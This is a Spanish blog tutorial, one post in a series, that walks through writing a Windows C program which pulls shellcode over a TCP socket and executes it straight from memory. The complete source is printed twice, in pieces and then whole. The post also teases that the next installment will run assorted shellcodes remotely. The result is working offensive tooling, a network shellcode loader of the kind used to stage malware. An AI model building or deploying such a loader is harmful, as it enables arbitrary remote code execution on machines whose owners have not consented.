Buenas a todos, en el post vamos a continuar con la cadena de artículos en la que estamos viendo desde 0 como desarrollar un programa en ANSI C, que nos permita ejecutar remotamente una shellcode cualquiera a través de una arquitectura cliente-servidor.
En el pasado artículo de la cadena aprendimos a desarrollar un pequeño cliente, que se encargaba de enviar a otra máquina una shellcode para que la ejecutase y la cargase en memoria. Hoy veremos como desarrollar el servidor, que acepte esa shellcode y la cargue en memoria.
Como veréis, ambos programas compartirán porciones de código, por lo que serán pocas las líneas que deberemos incluir, facilitándonos así su comprensión.
Programación
En primer lugar incluiremos las librerías necesarias. Al igual que en el cliente, necesitaremos cargar winsocks.h para poder trabajar con sockets.
Tras ello declararemos unas variables predefinidas con el tamaño del buffer y el puerto utilizado para la conexión, así como las variables de tipo cadena que utilizaremos para almacenar los buffers para el envío y recibimiento de datos:
#include <stdio.h> #include <stdlib.h> #include <windows.h> #include <winsock.h> #include <string.h> #include <conio.h> #include <time.h> #define MAXBUFLEN 512 #define PORT 4950 char SendBuff[MAXBUFLEN],RecvBuff[MAXBUFLEN];
A continuación añadiremos una función que recibirá como argumento la shellcode, y la cargará en memoria:
void x(char * RecvBuff){((void(*)(void)){RecvBuff})();}
Tras la función maestra de este programa, crearemos las estructuras para trabajar con los sockets e inicializaremos la DLL de sockets:
WSADATA wsaData; SOCKET conn_socket; struct sockaddr_in server; struct hostent *hp; int resp; resp=WSAStartup(MAKEWORD(1,0),&wsaData); if(resp){return -1;}
El paso siguiente será obtener la dirección IP. En nuestra caso os recordamos que lo hemos situado en “localhost” para hacer pruebas en local:
hp=(struct hostent *)gethostbyname("localhost"); if(!hp){WSACleanup();return WSAGetLastError();}
Ahora procederemos a crear el socket:
conn_socket=socket(AF_INET,SOCK_STREAM, 0); if(conn_socket==INVALID_SOCKET) {WSACleanup();return WSAGetLastError();} memset(&server, 0, sizeof(server)) ; memcpy(&server.sin_addr, hp->h_addr, hp->h_length); server.sin_family = hp->h_addrtype; server.sin_port = htons(PORT);
Después realizaremos la conexión con el servidor y copiaremos en la variable SendBuff el texto a enviar:
// Conexion servidor if(connect(conn_socket,(struct sockaddr *)&server,sizeof(server))==SOCKET_ERROR) { closesocket(conn_socket); WSACleanup(); getchar(); return WSAGetLastError(); } strcpy(SendBuff,"1- Enviame la Shellcode");
Ahora abriremos la comunicación con el cliente solicitándole la shellcode. Para ello enviaremos un mensaje cualquiera. A continuación recogeremos la shellcode que nos envíe el cliente y cerramos el socket:
send(conn_socket,SendBuff,sizeof(SendBuff),0); recv(conn_socket,RecvBuff, sizeof(RecvBuff), 0); closesocket(conn_socket); WSACleanup();
Ya tenemos la shellcode en la variable RecvBuff, ahora solo nos queda pasársela a la función "x" para cargarla en memoria:
//Ejecucion Shellcode
x(RecvBuff);
Código completo del servidor
A continuación os dejamos el código completo del servidor:
#include <stdio.h> #include <stdlib.h> #include <windows.h> #include <winsock.h> #include <string.h> #include <conio.h> #include <time.h> #define MAXBUFLEN 512 #define PORT 4950 char SendBuff[MAXBUFLEN],RecvBuff[MAXBUFLEN]; void x(char * RecvBuff){((void(*)(void)){RecvBuff})();} int main(int argc, char *argv[]){ WSADATA wsaData; SOCKET conn_socket; struct sockaddr_in server; struct hostent *hp; int resp; //Inicializar dll de sockets resp=WSAStartup(MAKEWORD(1,0),&wsaData); if(resp){return -1;} //Obtenemos IP del servidor hp=(struct hostent *)gethostbyname("localhost"); if(!hp){WSACleanup();return WSAGetLastError();} // Creamos socket conn_socket=socket(AF_INET,SOCK_STREAM, 0); if(conn_socket==INVALID_SOCKET) {WSACleanup();return WSAGetLastError();} memset(&server, 0, sizeof(server)) ; memcpy(&server.sin_addr, hp->h_addr, hp->h_length); server.sin_family = hp->h_addrtype; server.sin_port = htons(PORT); // Conexion servidor if(connect(conn_socket,(struct sockaddr *)&server,sizeof(server))==SOCKET_ERROR) { closesocket(conn_socket); WSACleanup(); getchar(); return WSAGetLastError(); } strcpy(SendBuff,"1- Enviame la Shellcode"); //Se envia mensaje para solicitar shellcode send(conn_socket,SendBuff,sizeof(SendBuff),0); //Se recoge la Shellcode recv(conn_socket,RecvBuff, sizeof(RecvBuff), 0); //Cierre del socket closesocket(conn_socket); WSACleanup(); //Ejecucion de la Shellcode x(RecvBuff); return EXIT_SUCCESS; }
Eso es todo por hoy, ya tenéis las dos partes del programa para poder practicar.
En el próximo post haremos varias pruebas con nuestro programa, y ejecutaremos algunas shellcodes curiosas remotamente :)
Saludos!